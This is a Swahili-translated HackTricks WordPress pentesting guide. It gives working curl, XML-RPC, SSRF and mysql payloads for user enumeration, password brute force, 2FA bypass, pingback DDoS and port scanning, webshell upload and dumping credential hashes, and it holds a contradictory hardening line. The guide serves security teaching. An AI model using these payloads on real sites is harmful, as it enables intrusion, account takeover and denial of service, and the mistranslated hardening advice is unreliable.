hacktricks/network-services-pentesting/pentesting-web/wordpress.md

20 KiB

Wordpress

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:


Tumia Trickest kujenga na kutomatisha mchakato unaotumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Taarifa Msingi

Faili zilizopakiwa zinakwenda: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Faili za mandhari zinaweza kupatikana katika /wp-content/themes/, kwa hivyo ikiwa unabadilisha php fulani ya mandhari ili kupata RCE labda utatumia njia hiyo. Kwa mfano: Ukitumia mandhari ya twentytwelve unaweza kufikia faili ya 404.php katika: /wp-content/themes/twentytwelve/404.php
URL nyingine inayoweza kufaa ni: /wp-content/themes/default/404.php

Katika wp-config.php unaweza kupata nenosiri la msingi la hifadhidata.

Njia za kuingia za msingi za kuangalia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Faili Kuu za WordPress

  • index.php
  • license.txt ina habari muhimu kama toleo la WordPress lililowekwa.
  • wp-activate.php hutumiwa kwa mchakato wa kuamsha barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.
  • Vichupo vya kuingia (vinaweza kubadilishwa jina ili kuficha):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kutumwa na HTTP ikifanya kazi kama mbinu ya usafirishaji na XML kama mbinu ya uendeshaji. Aina hii ya mawasiliano imebadilishwa na API ya REST ya WordPress.
  • Kabrasha cha wp-content ndio kabrasha kuu ambapo programu-jalizi na mandhari zinahifadhiwa.
  • wp-content/uploads/ Ni kabrasha ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.
  • wp-includes/ Hii ni kabrasha ambapo faili za msingi zinahifadhiwa, kama vyeti, herufi, faili za JavaScript, na vidude.
  • wp-sitemap.xml Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya sitemap XML na machapisho yote ya umma na aina za machapisho na taksonomia zinazoweza kuulizwa kwa umma.

Udukuzi wa Baada ya Uzinduzi

  • Faili ya wp-config.php ina habari inayohitajika na WordPress kuunganisha kwenye hifadhidata kama vile jina la hifadhidata, mwenyeji wa hifadhidata, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambishi cha meza ya hifadhidata. Faili hii ya usanidi inaweza pia kutumika kuamsha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.

Vibali vya Watumiaji

  • Msimamizi
  • Mhariri: Chapisha na simamia machapisho yake na ya wengine
  • Mwandishi: Chapisha na simamia machapisho yake mwenyewe
  • Mchangiaji: Andika na simamia machapisho yake lakini hawezi kuyachapisha
  • Mfuasi: Tafuta machapisho na hariri wasifu wao

Uchunguzi wa Kimya

Pata toleo la WordPress

Angalia ikiwa unaweza kupata faili /license.txt au /readme.html

Ndani ya msimbo wa chanzo wa ukurasa (mfano kutoka https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • jina la meta

  • Faili za kiungo cha CSS

  • Faili za JavaScript

Pata Programu-jalizi

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pata Mada

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kunasa toleo kwa ujumla

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Tumia Trickest kujenga na kutumia workflows kwa urahisi zaidi yaliyotengenezwa na zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Uchambuzi wa Kazi

Programu-jalizi na Mada

Labda hautaweza kupata Programu-jalizi na Mada zote zinazowezekana. Ili kugundua zote, utahitaji kufanya Brute Force kwa orodha ya Programu-jalizi na Mada (kwa bahati nzuri kuna zana za kiotomatiki zinazojumuisha orodha hizi).

Watumiaji

ID Brute

Unaweza kupata watumiaji halali kutoka kwenye tovuti ya WordPress kwa kufanya Brute Force kwa vitambulisho vya watumiaji:

curl -s -I -X GET http://blog.example.com/?author=1

Ikiwa majibu ni 200 au 30X, hii inamaanisha kuwa id ni sahihi. Ikiwa majibu ni 400, basi id ni batili.

wp-json

Unaweza pia jaribu kupata taarifa kuhusu watumiaji kwa kuuliza:

curl http://blog.example.com/wp-json/wp/v2/users

Endpoint nyingine ya /wp-json/ ambayo inaweza kufichua baadhi ya taarifa kuhusu watumiaji ni:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Mkia huu unaonyesha watumiaji ambao wametoa chapisho. Taarifa kuhusu watumiaji walio na kipengele hiki kimezimwa tu ndio itatolewa.

Pia kumbuka kwamba /wp-json/wp/v2/pages inaweza kufichua anwani za IP.

Uchambuzi wa majina ya kuingia

Unapojiingiza katika /wp-login.php ujumbe ni tofauti ikiwa jina la mtumiaji linaweza kuwepo au la.

XML-RPC

Ikiwa xml-rpc.php iko hai unaweza kufanya jaribio la nguvu la siri au kutumia kuzindua mashambulizi ya DoS kwa rasilimali zingine. (Unaweza kiotomatiki mchakato huu kutumia hii kama mfano).

Ili kuona ikiwa iko hai jaribu kupata ufikivu wa /xmlrpc.php na tuma ombi hili:

Angalia

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kuvunja Nywila za Mibofyo

wp.getUserBlogs, wp.getCategories au metaWeblog.getUsersBlogs ni baadhi ya njia zinazoweza kutumika kuvunja nywila za mibofyo. Ikiwa unaweza kupata mojawapo yao, unaweza kutuma kitu kama:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Ujumbe "Jina la mtumiaji au nywila sio sahihi" ndani ya jibu la nambari 200 unapaswa kuonekana ikiwa vyeti havijathibitishwa.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Pia kuna njia ya haraka ya kuvunja siri kutumia system.multicall kwa kujaribu siri kadhaa kwenye ombi moja:

Kupita 2FA

Mbinu hii imelengwa kwa programu na sio kwa binadamu, na ni ya zamani, kwa hivyo haisaidii 2FA. Kwa hivyo, ikiwa una siri halali lakini mlango mkuu unalindwa na 2FA, unaweza kutumia xmlrpc.php kuingia na siri hizo bila kuzingatia 2FA. Tafadhali kumbuka kuwa huenda usiweze kufanya vitendo vyote unavyoweza kufanya kupitia konsoli, lakini bado unaweza kufikia RCE kama Ippsec anavyoelezea katika https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS au uchunguzi wa bandari

Ikiwa unaweza kupata njia pingback.ping kwenye orodha unaweza kufanya Wordpress itume ombi la aina yoyote kwa mwenyeji / bandari yoyote.
Hii inaweza kutumika kuomba maelfu ya maeneo ya Wordpress kufikia eneo moja (hivyo DDoS inasababishwa katika eneo hilo) au unaweza kutumia kuifanya Wordpress kufanya uchunguzi wa ndani wa mtandao (unaweza kuashiria bandari yoyote).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ikiwa unapata faultCode na thamani kubwa kuliko 0 (17), inamaanisha bandari iko wazi.

Angalia matumizi ya system.multicall katika sehemu iliyopita kujifunza jinsi ya kutumia njia hii kusababisha DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Faili hili kawaida huwepo chini ya mzizi wa tovuti ya Wordpress: /wp-cron.php
Wakati faili hii inapopatikana, kazi nzito ya MySQL hufanywa, hivyo inaweza kutumiwa na wahalifu kusababisha DoS.
Pia, kwa chaguo-msingi, wp-cron.php huitwa kila wakati ukurasa unapakia (wakati mteja anapoomba ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).

Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji ambayo itatekeleza hatua zinazohitajika kwa kipindi cha kawaida (bila kusababisha matatizo).

/wp-json/oembed/1.0/proxy - SSRF

Jaribu kupata https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net na tovuti ya Worpress inaweza kufanya ombi kwako.

Hii ni majibu wakati haifanyi kazi:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Chombo hiki huchunguza ikiwa methodName: pingback.ping na kwa njia /wp-json/oembed/1.0/proxy na ikiwepo, hujaribu kuzitumia.

Zana za Kiotomatiki

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Tumia Trickest kujenga na kutumia mchakato wa kiotomatiki ulioendeshwa na zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Pata ufikiaji kwa kubadilisha kidogo

Zaidi ya shambulio la kweli hili ni mshangao. Katika CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man unaweza kubadilisha biti 1 kutoka kwa faili yoyote ya wordpress. Kwa hivyo unaweza kubadilisha nafasi 5389 ya faili /var/www/html/wp-includes/user.php kuwa NOP ya operesheni ya NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kuweka php kutoka kwa mandhari iliyotumiwa (mamlaka ya admin inahitajika)

Muonekano → Mhariri wa Mandhari → 404 Kigezo (upande wa kulia)

Badilisha maudhui kwa php shell:

Tafuta kwenye mtandao jinsi unavyoweza kupata ukurasa ulioboreshwa. Katika kesi hii unapaswa kupata hapa: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Unaweza kutumia:

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

PHP plugin

Inawezekana kupakia faili za .php kama programu-jalizi. Unda mlango wako wa nyuma wa php kwa mfano:

Kisha ongeza programu-jalizi mpya:

Pakia programu-jalizi na bonyeza Sakinisha Sasa:

Bonyeza Endelea:

Labda hii haitafanya chochote kwa muonekano, lakini ukiondoka kwenye Media, utaona ganda lako limepakuliwa:

ifikia na utaona URL ya kutekeleza ganda la nyuma:

Upakiaji na kuamilisha programu-jalizi yenye nia mbaya

Mbinu hii inahusisha usakinishaji wa programu-jalizi yenye nia mbaya inayojulikana kuwa na kasoro na inaweza kutumiwa kupata ganda la wavuti. Mchakato huu unatekelezwa kupitia kisanduku cha WordPress kama ifuatavyo:

  1. Upatikanaji wa Programu-jalizi: Programu-jalizi inapatikana kutoka chanzo kama Exploit DB kama hapa.
  2. Usakinishaji wa Programu-jalizi:
  • Nenda kwenye kisanduku cha WordPress, kisha nenda kwa Kisanduku > Programu-jalizi > Pakia Programu-jalizi.
  • Pakia faili ya zip ya programu-jalizi iliyopakuliwa.
  1. Ufanyaji wa Programu-jalizi: Mara programu-jalizi inaposakinishwa kwa mafanikio, lazima iamilishwe kupitia kisanduku.
  2. Udanganyifu:
  • Ikiwa programu-jalizi "reflex-gallery" imesakinishwa na kuamilishwa, inaweza kutumiwa kwa sababu inajulikana kuwa na kasoro.
  • Kituo cha Metasploit hutoa udanganyifu kwa kasoro hii. Kwa kupakia moduli sahihi na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kutoa ufikiaji usioruhusiwa kwenye wavuti.
  • Inasisitizwa kuwa hii ni moja tu ya njia nyingi za kutumia kasoro kwenye wavuti ya WordPress.

Yaliyomo yanajumuisha msaada wa kuona unaonyesha hatua katika kisanduku cha WordPress kwa kusakinisha na kuamilisha programu-jalizi. Walakini, ni muhimu kutambua kwamba kutumia kasoro kwa njia hii ni kinyume cha sheria na si maadili bila idhini sahihi. Taarifa hii inapaswa kutumiwa kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa uingiliaji na idhini wazi.

Kwa hatua za kina zaidi angalia: https://www.hackingarticles.in/wordpress-reverse-shell/**

Baada ya Udanganyifu

Chambua majina ya watumiaji na nywila:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Badilisha nenosiri la admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Kinga ya WordPress

Visasisho vya Kawaida

Hakikisha WordPress, programu-jalizi, na mandhari zinasasishwa. Pia hakikisha kuwa visasisho vya moja kwa moja vimezimwa katika wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Pia, sakinisha tu programu-jalizi na mandhari za WordPress zinazoweza kuaminiwa.

Programu-jalizi za Usalama

Mapendekezo Mengine

  • Ondoa mtumiaji wa msingi wa admin
  • Tumia nywila imara na 2FA
  • Kagua mara kwa mara ruhusa za watumiaji
  • Zuia jaribio la kuingia ili kuzuia mashambulizi ya Brute Force
  • Badilisha jina la faili la wp-admin.php na ruhusu ufikiaji ndani au kutoka kwa anwani za IP fulani.


Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zilizotengenezwa na zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: